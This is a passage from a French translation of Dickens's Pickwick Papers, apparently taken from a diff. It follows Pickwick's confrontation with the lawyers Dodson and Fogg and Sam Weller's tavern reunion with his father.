+j'ai gâté son bedeau et que s'il veut en faire un nouveau je reviendrai
+demain matin pour le lui gâter encore. En route, mon vieux!»
+
+Lorsque la voiture fut sortie du village, M. Pickwick respira fortement
+et dit: «Aussitôt que je serai arrivé à Londres j'actionnerai le
+capitaine Boldwig pour détention illégale.
+
+--Il paraît que nous étions en contravention, fit observer M. Wardle.
+
+--Cela m'est égal, je l'attaquerai.
+
+--Non, vous ne l'attaquerez pas.
+
+--Si, je l'attaquerai, sur mon....» M. Pickwick s'interrompit en
+remarquant l'expression goguenarde de la physionomie du vieux Wardle.
+«Et pourquoi ne le ferais-je pas? reprit-il.
+
+--Parce que, dit le vieux Wardle, en éclatant de rire, parce qu'il
+pourrait se retourner sur quelqu'un de nous et dire que nous avions pris
+trop de punch froid.»
+
+M. Pickwick eut beau faire, il ne put s'empêcher de sourire; par degrés,
+son sourire s'agrandit et devint un éclat de rire; enfin cet éclat de
+rire contagieux fut répété par toute la compagnie. Afin de fomenter
+cette bonne humeur, nos amis s'arrêtèrent à la première taverne qu'ils
+rencontrèrent sur la route; chacun d'eux se fit servir un verre d'eau et
+d'eau de vie, mais ils eurent soin de faire administrer à M. Samuel
+Weller une dose d'une force _extra_.
+
+
+
+
+
+CHAPITRE XX.
+
+Où l'on voit que Dodson et Fogg étaient des hommes d'affaires, et leurs
+clercs des hommes de plaisir; qu'une entrevue touchante eut lieu entre
+M. Samuel Weller et le père qu'il avait perdu depuis longtemps; où l'on
+voit, enfin, quels esprits supérieurs s'assemblaient à la _Souche et la
+Pie_, et quel excellent chapitre sera le suivant.
+
+
+Dans une pièce située au rez-de-chaussée d'une sombre maison, tout au
+fond de Freeman's-Court, quartier de Cornhill, étaient assis les quatre
+clercs de MM. Dodson et Fogg, solliciteurs près la haute cour de
+chancellerie et procureurs de Sa Majesté près la cour du banc du roi et
+la cour des communs-plaids, à Westminster; les susdits clercs, dans le
+cours de leurs travaux journaliers, ayant à peu près autant de chances
+d'apercevoir les rayons du soleil que pourrait en avoir un homme placé
+au fond d'un puits, mais sans jouir des avantages de cette situation
+retirée, où l'on peut, du moins, découvrir des étoiles en plein jour.
+
+La chambre où ils se trouvaient renfermés, était obscure, humide, et
+sentait la moisissure; une séparation de bois les abritait des regards
+du vulgaire, et les clients qui attendaient le loisir de MM. Dodson et
+Fogg n'apercevaient ainsi, pour toute distraction, qu'une couple de
+vieilles chaises, une horloge au bruyant tic-tac, un almanach, un
+porte-parapluie, une rangée de pupitres, et plusieurs tablettes chargées
+de liasses de papiers étiquetés et malpropres, de vieilles boîtes de
+sapin et de grosses bouteilles d'encre. Une porte vitrée ouvrait sur le
+passage qui donnait dans la cour, et c'est en dehors de cette porte
+vitrée que se présenta M. Pickwick, deux jours après les événements
+rapportés dans le précédent chapitre.
+
+«Est-ce que vous ne pouvez pas entrer? dit une voix criarde en réponse
+au coup modeste frappé par M. Pickwick à la susdite porte.
+
+Le philosophe entra, suivi de Sam.
+
+«M. Dodson ou M. Fogg sont-ils chez eux, monsieur? demanda gracieusement
+M. Pickwick, en s'approchant de la cloison, avec son chapeau à la main.
+
+--M. Dodson n'est pas chez lui, et M. Fogg est en affaire,» répliqua la
+voix; et en même temps la tête à qui la voix appartenait, se montra
+par-dessus la cloison, avec une plume derrière l'oreille, et examina M.
+Pickwick.
+
+C'était une tête malpropre; ses cheveux roux, scrupuleusement séparés
+sur le côté et aplatis avec du cosmétique, étaient tortillés en
+accroche-coeurs et garnissaient une face plate ornée en outre d'une paire
+de petits yeux, d'un col de chemise fort crasseux et d'une vieille
+cravate noire usée.
+
+«M. Dodson n'est pas chez lui, et M. Fogg est en affaire, dit l'homme à
+qui appartenait cette tête.
+
+--Quand M. Dodson reviendra-t-il, monsieur?
+
+--Sais pas.
+
+--M. Fogg sera-t-il longtemps occupé, monsieur?
+
+--Sais pas.»
+
+Ayant ainsi parlé, le jeune homme se mit fort tranquillement à tailler
+sa plume, tandis qu'un autre clerc riait d'une manière approbative, tout
+en mêlant de la poudre de Sedlitz dans un verre d'eau.
+
+«Puisqu'il en est ainsi, je vais attendre, dit M. Pickwick, et il
+s'assit, sans y avoir été invité, écoutant le tic-tac bruyant de
+l'horloge et le chuchotement des clercs.
+
+--C'était là une bonne farce, hein? dit l'un de ceux-ci, pour conclure
+la relation d'une aventure nocturne qu'il avait racontée à voix basse.
+
+--Diablement bonne, diablement bonne, répondit l'homme à la poudre de
+Sedlitz.
+
+--Tom Cummins était au fauteuil, reprit le premier clerc, qui avait un
+habit brun, avec des boutons de cuivre. Il était quatre heures et demie
+quand je suis arrivé à Somers-Town, et j'étais si joliment dedans que je
+n'ai pas pu trouver le trou de la serrure et que j'ai été obligé de
+réveiller la vieille femme. Je voudrais bien savoir ce que le vieux Fogg
+dirait s'il savait cela. J'aurais mon paquet, je suppose, eh?»
+
+A cette idée plaisante, tous les clercs éclatèrent de rire; l'homme à
+l'habit brun poursuivit:
+
+«Il y a eu une fameuse farce avec Fogg ici ce matin, pendant que Jack
+était en haut à arranger les papiers et que vous deux vous étiez allés
+au timbre. Fogg était en bas à ouvrir ses lettres quand voilà venir le
+gaillard de Comberwell contre lequel nous avons un mandat. Vous savez
+bien.... comment s'appelle-t-il déjà?
+
+--Ramsey, dit le clerc qui avait parlé à M. Pickwick.
+
+--Ah! Ramsey.... en voilà une pratique qui a l'air râpé!.
+
+--Eh bien, monsieur, dit le vieux Fogg, en le regardant d'un air
+sauvage. Vous savez, sa manière....--Eh bien, monsieur, êtes-vous venu
+pour terminer?--Oui, monsieur, dit Ramsey, en mettant sa main dans sa
+poche, et en tirant son argent. La dette est de deux livres sterling et
+dix shillings, et les frais de trois livres sterling et cinq shillings;
+les voici ici, monsieur, et il soupira comme un soufflet de forge, en
+tendant sa monnaie dans un petit morceau de papier brouillard. Le vieux
+Fogg regarda d'abord l'argent et ensuite l'homme, et ensuite il toussa
+de sa drôle de toux, si bien que je me doutais qu'il allait arriver
+quelque chose.--Vous ne savez pas, dit-il, qu'il y a une déclaration
+enregistrée qui augmente notablement les frais.--Qu'est-ce que vous
+dites là, monsieur, cria Ramsey, en tressaillant; le délai n'est expiré
+qu'hier au soir, monsieur. Cela n'empêche pas, reprit Fogg. Mon clerc
+est justement parti pour la faire enregistrer. M. Jackson n'est-il pas
+allé pour faire enregistrer cette déclaration dans Bullman et Ramsey,
+monsieur Wicks?--Naturellement je réponds que _oui_, et alors Fogg
+tousse encore et regarde Ramsey.--Mon Dieu! disait Ramsey, je me suis
+rendu presque fou pour ramasser cet argent, et tout cela pour
+rien!--Pour rien du tout, reprit Fogg, froidement; ainsi vous ferez bien
+mieux de vous en retourner, d'en ramasser un peu plus et de l'apporter
+ici à temps.--Je n'en pourrai pas trouver, sur mon âme! s'écria Ramsey
+en frappant le bureau avec son poing.--Ne me menacez pas, monsieur, dit
+Fogg, en se mettant en colère à froid.--Je n'ai pas eu l'intention de
+vous menacer, monsieur, répondit Ramsey.--Si, monsieur, repartit Fogg;
+sortez d'ici, monsieur! sortez de ce bureau, monsieur, et ne revenez que
+quand vous aurez appris à vous conduire, monsieur!--Alors Ramsey a fait
+tout ce qu'il a pu pour se défendre, mais comme Fogg lui coupait la
+parole, il a été obligé de remettre son argent dans sa poche et de
+filer. A peine la porte était-elle fermée, que voilà le vieux Fogg qui
+se retourne vers moi, avec on sourire agréable, et qui tire la
+déclaration de sa poche.--Monsieur Wicks, dit-il, prenez un cabriolet et
+allez au Temple, aussi vite que vous le pourrez, pour faire enregistrer
+cela. Les frais sont sûrs, car c'est un homme laborieux, avec une
+famille nombreuse, et qui gagne vingt-cinq shillings par semaine. S'il
+nous signe une procuration (et il faudra bien qu'il en vienne là), je
+suis sûr que ses maîtres payeront. Ainsi, monsieur Wicks, il faut tirer
+de lui tout ce que nous pourrons. C'est un acte de bon chrétien,
+monsieur Wicks, car avec une grande famille et un petit revenu, il sera
+heureux de recevoir une bonne leçon, qui lui apprenne à ne plus faire de
+dettes. N'est-il pas vrai? n'est-il pas vrai?--Et en s'en allant son
+sourire était si bienveillant que cela vous réjouissait le coeur.--C'est
+un fier homme pour les affaires, ajouta Wicks du ton de l'admiration la
+plus profonde, un fier homme, hein?»
+
+Les trois autres clercs s'unirent cordialement à cette admiration et
+parurent charmés de l'anecdote.
+
+«Jolis gars, ici, monsieur, murmura Sam à son maître. Bonne idée qu'ils
+ont sur les farces, monsieur.»
+
+M. Pickwick fit un signe d'assentiment et toussa, pour attirer
+l'attention des jeunes gentlemen qui étaient derrière la cloison. Ayant
+raffraîchi leurs esprits par cette petite conversation entre eux, ils
+eurent la condescendance de s'occuper de l'étranger.
+
+«M. Fogg est peut-être libre maintenant, dit Jackson.
+
+--Je vais voir, reprit Wicks en se levant avec nonchalance. Quel nom
+dirai-je à M. Fogg?
+
+--Pickwick,» répliqua l'illustre sujet de ces mémoires.
+
+M. Jackson disparut par l'escalier et revint bientôt annoncer que maître
+Fogg recevrait M. Pickwick dans cinq minutes. Ayant fait ce message, il
+retourna derrière son bureau.
+
+«Quel nom a-t-il dit? demanda tout bas M. Wicks.
+
+--Pickwick, répliqua Jackson. C'est le défendeur dans Bardell et
+Pickwick.»
+
+Un soudain frottement de pieds, mêlé d'éclats de rires étouffés, se fit
+entendre derrière la cloison.
+
+«Monsieur, murmura Sam à son maître, voilà qu'ils vous mécanisent.
+
+--Ils me mécanisent, Sam! Qu'est-ce que vous entendez par me
+_mécaniser_?»
+
+Pour toute réplique, Sam passa son pouce par-dessus son épaule, et M.
+Pickwick, levant la tête, reconnut la vérité de ce fait, à savoir: que
+les quatre clercs avaient allongé par-dessus la cloison des figures
+pleines d'hilarité, et examinaient minutieusement la tournure et la
+physionomie de ce Lovelace présumé, de ce grand destructeur du repos des
+coeurs féminins. Au mouvement qu'il fit, la rangée de têtes disparut
+comme par enchantement, et l'on entendit à l'instant même le bruit de
+quatre plumes voyageant sur le papier avec une furieuse vitesse.
+
+Le tintement d'une sonnette suspendue dans le bureau appela M. Jackson
+dans l'appartement de Me Fogg. Il en revint bientôt, et annonça à M.
+Pickwick que son patron était prêt à le recevoir.
+
+En conséquence, M. Pickwick monta l'escalier. Au premier étage, l'une
+des portes étalait, en caractères lisibles, ces mots imposants: M. FOGG.
+Ayant frappé à cette porte et ayant été invité à entrer, M. Jackson
+introduisit M. Pickwick en présence de l'avoué.
+
+«M. Dodson est-il revenu? demanda Me Fogg.
+
+--A l'instant, monsieur.
+
+--Priez-le de passer ici.
+
+--Oui, monsieur. (Jackson sort.)
+
+--Prenez un siége, monsieur, dit Me Fogg. Voici le journal, monsieur.
+Mon partner va être ici dans un moment, et nous pourrons causer sur
+cette affaire, monsieur.»
+
+M. Pickwick prit un siége et un journal; mais au lieu de lire ce
+dernier, il dirigea son rayon visuel par-dessus, afin d'examiner l'homme
+d'affaires. C'était un personnage d'un certain âge, dont le corps long
+et fluet était engaîné dans un étroit habit noir, dans une culotte
+sombre, dans de petites guêtres noires. Il semblait être partie
+essentielle de son bureau et paraissait avoir à peu près autant d'esprit
+et de sensibilité que lui.
+
+Au bout de quelques minutes arriva Me Dodson, homme gros et gras, à
+l'air sévère, à la voix bruyante. La conversation commença
+immédiatement.
+
+«Monsieur est M. Pickwick, dit Me Fogg.
+
+--Ha! ha! monsieur, vous êtes le défendeur dans Bardell et Pickwick?
+
+--Oui, monsieur, répondit le philosophe.
+
+--Eh bien, monsieur, reprit Me Dodson, que nous proposez-vous?
+
+--Ah! dit Me Fogg en fourrant ses mains dans les poches de sa culotte
+et s'appuyant sur le dos de sa chaise; qu'est-ce que vous nous proposez,
+monsieur Pickwick?
+
+--Silence, Fogg! reprit Dodson. Laissez-moi entendre ce que M. Pickwick
+veut dire.
+
+--Je sais venu, messieurs, répliqua notre sage, en regardant avec
+douceur les deux partners, je suis venu ici, messieurs, pour vous
+exprimer la surprise avec laquelle j'ai reçu votre lettre de l'autre
+jour et pour vous demander quels sujets d'action vous pouvez avoir
+contre moi?
+
+--Quels sujets!... s'écriait Me Fogg, lorsqu'il fut arrêté par Me
+Dodson.
+
+--Monsieur Fogg, dit celui-ci, je vais parler.
+
+--Je vous demande pardon, monsieur Dodson, répondit Fogg.
+
+--Quant aux sujets d'action, monsieur, reprit Me Dodson, avec un air
+plein d'élévation morale; quant aux sujets d'action, vous consulterez
+votre propre conscience et vos propres sentiments. Nous, monsieur, nous
+sommes entièrement guidés par les assertions de notre client. Ces
+assertions, monsieur, peuvent être vraies ou peuvent être fausses; elles
+peuvent être croyables ou incroyables; mais si elles sont croyables, je
+n'hésite pas à dire, monsieur, que nos sujets d'action sont forts et
+invincibles. Vous pouvez être un homme infortuné, monsieur, ou vous
+pouvez être un homme rusé; mais si j'étais appelé comme juré, monsieur,
+et sur mon serment, à exprimer mon opinion sur votre conduite, je vous
+affirme, monsieur, que je n'hésiterais pas un seul instant.» Ici Me
+Dodson se redressa avec l'air d'une vertu offensée et regarda Me Fogg,
+qui enfonça ses mains plus profondément dans ses poches, et, secouant
+sagement sa tête ajouta d'un ton convaincu: «Très-certainement!
+
+--Eh bien, monsieur, repartit M. Pickwick d'un air peiné, je vous assure
+que je suis un homme très-malheureux, au moins dans cette affaire.
+
+--Je désire qu'il en soit ainsi, monsieur, répliqua Me Dodson. J'aime à
+croire que cela peut être, monsieur. Mais si vous êtes réellement
+innocent de ce dont vous êtes accusé, vous êtes plus infortuné que je ne
+croyais possible de l'être. Qu'en dites-vous monsieur Fogg?
+
+--Je dis absolument comme vous, répondit Me Fogg avec un sourire
+d'incrédulité.
+
+--L'assignation qui commence l'action, monsieur, continua Me Dodson, a
+été délivrée régulièrement. Monsieur Fogg, où est notre registre?
+
+--Le voici, dit Me Fogg en lui passant un volume carré recouvert en
+parchemin.
+
+--Voici l'enregistrement, continua Dodson. _Middlesex, mandat: Veuve
+Martha Bardell versus Samuel Pickwick. Dommages-intérêts, 1500 guinées.
+Dodson et Fogg pour le demandeur, aug. 28, 1831._ Tout est régulier,
+monsieur, parfaitement régulier.»
+
+Ayant articulé ces mots, Me Dodson toussa et regarda Me Fogg. Me Fogg
+répéta: «Parfaitement,» et tous les deux regardèrent M. Pickwick.
+
+Celui-ci dit alors: «Vous voulez donc me faire entendre que c'est
+réellement votre intention de poursuivre ce procès?
+
+--Vous faire entendre! monsieur. Oui, apparemment, répondit Me Dodson,
+avec quelque chose qui ressemblait à un sourire autant que le lui
+permettait sa dignité.
+
+--Et que les dommages-intérêts demandés sont réellement de quinze cents
+guinées?
+
+--Vous pouvez ajouter que si notre cliente avait suivi nos conseils,
+elle aurait réclamé le triple de cette somme.
+
+--Je crois cependant, fit observer Me Fogg, en jetant un coup d'oeil à Me
+Dodson, je crois que Mme Bardell a déclaré positivement qu'elle
+n'accepterait pas un liard de moins.
+
+--Sans aucun doute, répliqua Me Dodson d'un ton sec;» car le procès ne
+faisait que de commencer, et il ne convenait pas aux avoués de le
+terminer par un compromis, quand même M. Pickwick y aurait été disposé.
+
+«Comme vous ne nous faites point de propositions, monsieur, continua Me
+Dodson, en déployant de sa main droite un morceau de parchemin, et
+tendant gracieusement, de sa gauche, un papier à M. Pickwick; comme vous
+ne nous faites pas de propositions, monsieur, je vais vous offrir une
+copie de cet acte, dont voici l'original.
+
+--Très-bien! monsieur; très-bien! dit en se levant notre philosophe,
+dont la bile commençait à s'échauffer. Vous aurez de mes nouvelles par
+mon homme d'affaires.
+
+--Nous en serons charmés, répondit Me Fogg en se frottant les mains.
+
+--Tout à fait, ajouta Dodson, en ouvrant la porte.
+
+--Et avant de vous quitter, messieurs, reprit M. Pickwick en se
+retournant sur le palier, permettez-moi de vous dire que de toutes les
+manoeuvres honteuses et dégoûtantes....
+
+--Attendez, monsieur, attendez, interrompit Me Dodson avec grande
+politesse. Monsieur Jackson! monsieur Wicks!
+
+--Monsieur? répondirent les deux clercs, apparaissant au bas de
+l'escalier.
+
+--Faites-moi le plaisir d'écouter ce que ce gentleman va dire. Allons!
+monsieur, je vous en prie. Vous parliez, je crois, de manoeuvres
+honteuses et dégoûtantes?
+
+--Oui, monsieur, s'écria M. Pickwick entièrement excité, je disais que
+de toutes les manoeuvres honteuses et dégoûtantes auxquelles se livrent
+les fripons, celle-ci est la plus dégoûtante et la plus honteuse. Je le
+répète, monsieur.
+
+--Vous entendez cela, monsieur Wicks? cria Me Dodson.
+
+--Vous n'oublierez pas ces expressions, monsieur Jackson? ajouta Me
+Fogg.
+
+--Peut-être, monsieur, reprit Dodson, peut-être que vous aimeriez à nous
+appeler escrocs? Allons, monsieur, si cela vous fait plaisir, dites-le.
+
+--Oui, s'écria M. Pickwick. Oui, vous êtes des escrocs!
+
+--Très-bien, observa Dodson. J'espère que vous pouvez entendre de
+là-bas, monsieur Wicks?
+
+--Oh oui! monsieur.
+
+--Vous devriez monter quelques marches, ajouta Fogg.
+
+--Poursuivez, monsieur, poursuivez. Vous feriez bien de nous appeler
+voleurs, monsieur. Ou peut-être que vous auriez du plaisir à nous
+maltraiter? Vous le pouvez, monsieur, si cela vous fait plaisir. Nous ne
+vous opposerons pas la plus petite résistance. Allons, monsieur!»
+
+Comme M. Fogg se plaçait d'une manière fort tentante à proximité du
+poing fermé de M. Pickwick, il est fort probable que notre sage aurait
+cédé à ses sollicitations pressantes, s'il n'en avait pas été empêché.
+Mais Sam, en entendant la dispute, était sorti du bureau, avait escaladé
+l'escalier et saisi son maître par le bras.
+
+«Allons, monsieur! lui dit-il, donnez-vous la peine de venir par ici.
+C'est très-amusant de jouer au volant, mais pas quand les deux raquettes
+sont des hommes de loi et qu'ils jouent avec vous. C'est trop excitant
+pour être agréable. Si vous voulez vous soulager le coeur en bousculant
+quelqu'un, venez dans la cour et bousculez-moi. Avec ceux-là c'est une
+besogne un petit peu trop dépensière.»
+
+Disant ces mots et sans plus de cérémonie, Sam emporta son maître à
+travers l'escalier, à travers la cour, et l'ayant déposé en sûreté dans
+Cornhill, se retira modestement derrière lui, prêt à le suivre en
+quelque lieu qu'il lui plût d'aller.
+
+M. Pickwick marcha tout droit devant lui d'un air d'abstraction,
+traversa en face de Mansion-house et dirigea ses pas vers Cheapside. Sam
+commençait à s'émerveiller du chemin que prenait son maître, quand
+celui-ci se retourna et lui dit:
+
+«Sam, je vais aller immédiatement chez M. Perker.
+
+--C'est juste l'endroit où vous auriez dû aller d'abord, monsieur.
+
+--Je le crois, Sam.
+
+--Et moi j'en suis sûr et certain, monsieur.
+
+--Bien! bien! Sam, j'irai tout à l'heure. Mais d'abord, comme j'ai été
+mis un peu hors de moi-même, j'aimerais à prendre un verre d'eau-de-vie
+et d'eau chaude. Où pourrai-je en avoir, Sam?»
+
+Sam connaissait parfaitement Londres, aussi répondit-il sans réfléchir
+un instant:
+
+«La seconde cour à main droite, monsieur; l'avant-dernière maison du
+même côté. Prenez la stalle qui est à côté du poêle, parce qu'il n'y a
+pas de pied au milieu de la table, comme il y en a à toutes les autres,
+ce qui est très-inconvénient.»
+
+M. Pickwick observa scrupuleusement les indications de son domestique et
+entra bientôt dans la taverne qu'il lui avait indiquée. De l'eau-de-vie
+et de l'eau chaude furent promptement placées devant lui, et Sam,
+s'asseyant à une distance respectueuse de son maître, quoique à la même
+table, fut accommodé d'une pinte de porter.
+
+La pièce où ils se trouvaient était fort simple et semblait sous le
+patronage spécial des cochers de diligence, car plusieurs gentlemen qui
+paraissaient appartenir à cette savante profession, fumaient et buvaient
+dans leurs stalles respectives. Parmi eux se trouvait un gros homme
+rougeaud, d'un certain âge, assis en face de M. Pickwick, et qui attira
+son attention. Le gros homme fumait avec grande véhémence, mais, à
+chaque demi-douzaine de bouffées, il ôtait sa pipe de sa bouche et
+examinait d'abord Sam, puis M. Pickwick. Ensuite il exécutait encore une
+demi-douzaine de bouffées, d'un air de méditation profonde, et
+recommençait à considérer notre philosophe et son acolyte. Enfin le gros
+homme, mettant ses jambes sur une chaise et appuyant son dos contre le
+mur, s'occupa d'achever sa pipe sans interruption, et tout en
+contemplant, au travers de sa fumée, les deux nouveaux venus, comme
+s'il avait été décidé à les étudier le plus possible.
+
+Les évolutions du gros homme avaient d'abord échappé à Sam, mais voyant
+les yeux de M. Pickwick se diriger de temps en temps vers lui, il
+commença à regarder dans la même direction, puis il abrita ses yeux avec
+sa main comme si, ayant partiellement reconnu l'objet placé devant lui,
+il désirait s'assurer de son identité. Mais ses doutes furent
+promptement résolus, car le gros homme, ayant chassé un nuage épais de
+sa pipe, fit sortir de dessous le châle volumineux qui enveloppait sa
+gorge et sa poitrine une voix enrouée, semblable à quelque étrange essai
+de ventriloquisme, et prononça lentement ces mots:
+
+«Eh bien! Sammy?
+
+--Qu'est-ce que c'est que cela, Sam? demanda M. Pickwick.
+
+--Hé bien! je ne l'aurais pas cru, monsieur, répondit Sam en ouvrant des
+yeux étonnés. C'est le vieux.
+
+--Le vieux! reprit M. Pickwick, quel vieux?
+
+--Mon père, monsieur. Comment ça va-t-il, mon ancien?»
+
+Et avec cette touchante ébullition d'affection filiale, Sam fit une
+place sur le siége à côté de lui pour le gros homme, qui venait le
+congratuler, pipe en bouche et pot en main.
+
+«Hé ben! Sammy? dit le père, je ne t'ai pas vu depuis deux ans et mieux.
+
+--C'est vrai ça, vieux farceur. Comment va la belle-mère?
+
+--Hé ben! je vas te dire quoi, Sammy, reprit M. Weller _senior_ d'une
+voix très-solennelle. I' n'y a jamais évu une pus belle veuve que ma
+seconde. Une douce criature que c'était, Sammy, et tout ce que je peux
+dire à présent, c'est ça: pisqu'elle faisait une si extra-superfine
+veuve, c'est ben dommage qu'elle ait changé de condition. Elle ne
+réussit pas pour une femme, Sammy.
+
+--Bah! vraiment?» demanda M. Weller _junior_.
+
+M. Weller _senior_ secoua la tête en répondant avec un soupir:
+
+«J'ai fait la chose une fois de trop, Sammy, j'ai fait la chose une fois
+de trop. Prenez exemple sur vot' père, mon garçon, et prenez ben garde
+aux veuves toute vot' vie, espécialement si elles tiennent une auberge,
+Sammy.»
+
+Ayant expectoré cet avis paternel, avec grand pathos, M. Weller
+_senior_ tira de sa poche une boîte d'étain, remplit sa pipe, l'alluma
+avec les cendres de la précédente et recommença à fumer d'un grand
+train.
+
+Après une pause considérable il s'adressa à M. Pickwick, en continuant
+le même sujet:
+
+«Demande vot' excuse, mossieu; rien de personnel, j'espère, mossieu?
+Vous n'avez pas empaumé une veuve?
+
+--Non, pas encore, répondit M. Pickwick en riant;» et tandis que M.
+Pickwick riait, Sam informa son père à l'oreille des rapports qui
+existaient entre lui et ce gentleman.
+
+«Demande vot' excuse, mossieu, dit M. Weller en ôtant son chapeau;
+j'espère que vous n'avez pas de reproches à faire à Sammy, mossieu?
+
+--Pas le moindre, répliqua M. Pickwick.
+
+--Fort heureux d'apprendre ça, mossieu. J'ai pris beaucoup de peine pour
+son éducation, mossieu. J'y ai laissé rouler les rues tout petiot pour
+qu'il sache se tirer d'affaire tout seul, mossieu: la véritable méthode
+pour rendre un jeune homme malin.
+
+--J'imaginerais que c'est une méthode un peu dangereuse, observa M.
+Pickwick avec un sourire.
+
+--Et qui n'est pas pleine de certitude non plus, objecta Sam; j'ai été
+régulièrement enfoncé l'autre jour.
+
+--Non? dit le père.
+
+--Si,» reprit le fils; et il raconta aussi brièvement que possible
+comment il avait été dupe des stratagèmes de Job Trotter.
+
+M. Weller écouta ce récit avec l'attention la plus profonde, et
+lorsqu'il fut terminé:
+
+«L'un de ces bijoux, dit-il, n'était-ce pas un grand efflanqué avec des
+cheveux noirs comme des chandelles et le don de l'oratoire
+très-galopant?»
+
+M. Pickwick n'entendait pas parfaitement le dernier item de cette
+description, mais comprenant le premier, il répondit: «Oui,» à tous
+hasards.
+
+«Et l'aut' gaillard, un toupet noir, en livrée violette, avec une
+très-grosse boule?
+
+--Oui, oui, c'est lui! s'écrièrent vivement le maître et le valet.
+
+--Alors je sais où qu'i' sont remisés; i' sont à Ipswich, en bon état
+tous les deux.
+
+--Impossible! dit M. Pickwick.
+
+--C'est un fait, répliqua M. Weller, et je vas vous dire comment je
+sais ça. Je travaille une voiture d'Ipswich de temps en temps, pour un
+camarade. Je l'ai menée juste le jour d'après la nuit oùs que vous avez
+attrapé le rhumatique, et je les ai ramenés juste au _négrillon_, à
+Chelmsford, et je les ai disposés droit à Ipswich oùs que le domestique,
+celui qu'est en violet, m'a dit qu'ils allaient rester pour longtemps.
+
+--Je le suivrai, dit M. Pickwick. Nous pouvons visiter Ipswich aussi
+bien qu'un autre endroit. Je le suivrai.
+
+--Vous êtes sûr et certain que c'était eux, gouverneur? demanda Sam.
+
+--Tout à fait, Sammy, tout à fait, car leur apparition est fort
+singulière. Outre ça, je me confondais de voir un gen'l'm'n si familier
+avec son valet. Pus qu' ça; comme i's étaient assis derrière mon siége,
+je leu's y ai entendu dire qu'ils avaient enfoncé le vieux
+Bouffe-la-balle.
+
+--Le vieux quoi? demanda M. Pickwick.
+
+--Le vieux Bouffe-la-balle, mossieu, par quoi, ma coloquinte à couper,
+qu'ils parlaient de vous, mossieu.»
+
+Il n'y a rien de positivement vil ni atroce dans l'appellation de _vieux
+Bouffe-la-balle_, mais cependant c'est une désignation qui n'est
+nullement respectueuse ni agréable. Le souvenir de tous les torts qu'il
+avait soufferts de Jingle s'était amassé dans l'esprit de M. Pickwick,
+du moment où M. Weller avait commencé à parler. Il ne fallait qu'une
+plume pour faire pencher la balance, et _Bouffe-la-balle_ le fit.
+
+«Je le suivrai, s'écria le philosophe en donnant sur la table un coup de
+poing emphatique.
+
+--Je conduirai après-demain à Ipswich, mossieu: la voiture part du
+_Taureau_, dans White-Chapel; si vous avez réellement envie d'y
+descendre, vous feriez mieux d'y descendre avec moi.
+
+--C'est vrai, dit M. Pickwick. Très-bien. Je puis écrire à Bury et dire
+à ces messieurs de venir me retrouver à Ipswich. Nous irons avec vous.
+Mais ne vous en allez pas si vite, M. Weller, voulez-vous prendre
+quelque chose?
+
+--Vous êtes bien bon, mossieu, répondit M. Weller en s'arrêtant court.
+Peut-être qu'un petit verre d'eau-de-vie pour boire à vot' santé et à la
+bonne chance de Sammy, ça ne ferait pas de mal.»
+
+L'eau-de-vie fut apportée, et M. Weller, après avoir tiré son poil à M.
+Pickwick et adressé un signe gracieux à Sam, la fit descendre dans son
+large gosier comme s'il y en avait eu plein un dé.
+
+«Bien exécuté, papa. Mais il faut prendre garde, vieux gaillard, ou bien
+vous vous ferez pincer par la goutte.
+
+--J'ai trouvé pour ça un remède souverain, répliqua M. Weller en
+reposant son verre.
+
+--Un remède souverain pour la goutte, s'écria M. Pickwick en tirant
+promptement son mémorandum, qu'est-ce que c'est?
+
+--La goutte, mossieu, la goutte est une maladie qu'elle est naquise de
+trop d'aises et de conforts. Si vous êtes jamais attaqué par la goutte,
+mossieu, vite épousez une veuve qu'a une bonne voix forte avec une idée
+décente de s'en faire usage, vous n'aurez pus jamais la goutte. C'est
+une proscription capitale, mossieu. Je la consomme régulièrement et je
+vous réponds qu'elle chasse toutes les maladies qu'est causée par trop
+de joyeuseté.»
+
+Ayant communiqué ce secret inestimable, M. Weller vida son verre de
+nouveau, cligna de l'oeil d'une manière prétentieuse, soupira
+profondément, et se retira avec lenteur.
+
+«Eh bien! Sam, que pensez-vous de ce qu'a dit votre père? demanda M.
+Pickwick en souriant.
+
+--Ce que j'en pense? monsieur; je pense qu'il est victime du
+matrimonial, comme disait le chapelain de la Barbe-Bleue, en l'enterrant
+avec une larme de pitié.»
+
+Il n'y avait pas de réplique possible à l'à-propos de cette conclusion;
+c'est pourquoi M. Pickwick, après avoir payé leur écot, reprit son
+chemin vers Grey's Inn. Lorsqu'il atteignit ses grottes retirées, huit
+heures avaient sonné, et le flot incessant de gentlemen en pantalons
+crottés, en chapeaux gris déformés, en habits râpés, qui se précipitait
+par toutes les issues, l'avertit que la majorité des études était fermée
+pour ce jour-là.
+
+Après avoir grimpé deux étages rapides et malpropres, M. Pickwick vit
+réaliser ses prévisions: la porte de M. Perker était close, et le morne
+silence qui suivit les coups répétés frappés par Sam, leur annonça
+suffisamment que les gens d'affaires s'étaient retirés pour la nuit.
+
+«Voilà qui est bien contrariant, Sam. Je ne voudrais pourtant pas perdre
+un moment pour le voir. Je suis sûr que je ne pourrai pas fermer l'oeil
+avant d'avoir confié cette affaire à un homme du métier.
+
+--Voici une vieille qui monte les escaliers, monsieur, répliqua Sam.
+Peut-être qu'elle sait où nous pourrons trouver quelqu'un. Ohé! vieille
+lady, où est les gens de M. Perker?
+
+--Les gens de M. Perker, dit une vieille femme maigre et misérable, en
+s'arrêtant pour respirer après avoir monté l'escalier; les gens de M.
+Perker est parti et moi je vas pour faire le bureau.
+
+--Êtes-vous servante de M. Perker? demanda M. Pickwick.
+
+--Je suis sa blanchisseuse.
+
+--Ah! dit M. Pickwick, pour l'édification exclusive de son domestique,
+c'est une curieuse circonstance, Sam, que, dans ces _inns[25]_, ils
+appellent les femmes de ménage des blanchisseuses. Je ne comprends pas
+pourquoi.
+
+[Footnote 25: C'est le nom des maisons garnies, habitées ordinairement
+par les hommes de loi ou les étudiants. (_Note du traducteur._)]
+
+--Je me figure, monsieur, que c'est parce qu'elles ont une aversion
+mortelle à laver quelque chose.
+
+--Cela ne m'étonnerait pas,» répondit M. Pickwick en regardant la
+vieille femme. En effet, son apparence, comme la tenue du bureau,
+qu'elle venait d'ouvrir, indiquait une antipathie enracinée contre
+l'emploi du savon et de l'eau.
+
+«Ma bonne femme, reprit M. Pickwick, savez-vous où je puis trouver M.
+Perker?
+
+--Non, je n'en sais rien, répliqua-t-elle d'une voix aigre; il est hors
+de la ville, maintenant.
+
+--Cela est bien malheureux! Et où est son clerc, savez-vous?
+
+--Oui, je le sais, mais i' me remercierait drôlement de vous le dire.
+
+--J'ai des affaires très-particulières avec lui.
+
+--Ça ne peut pas se faire demain matin?
+
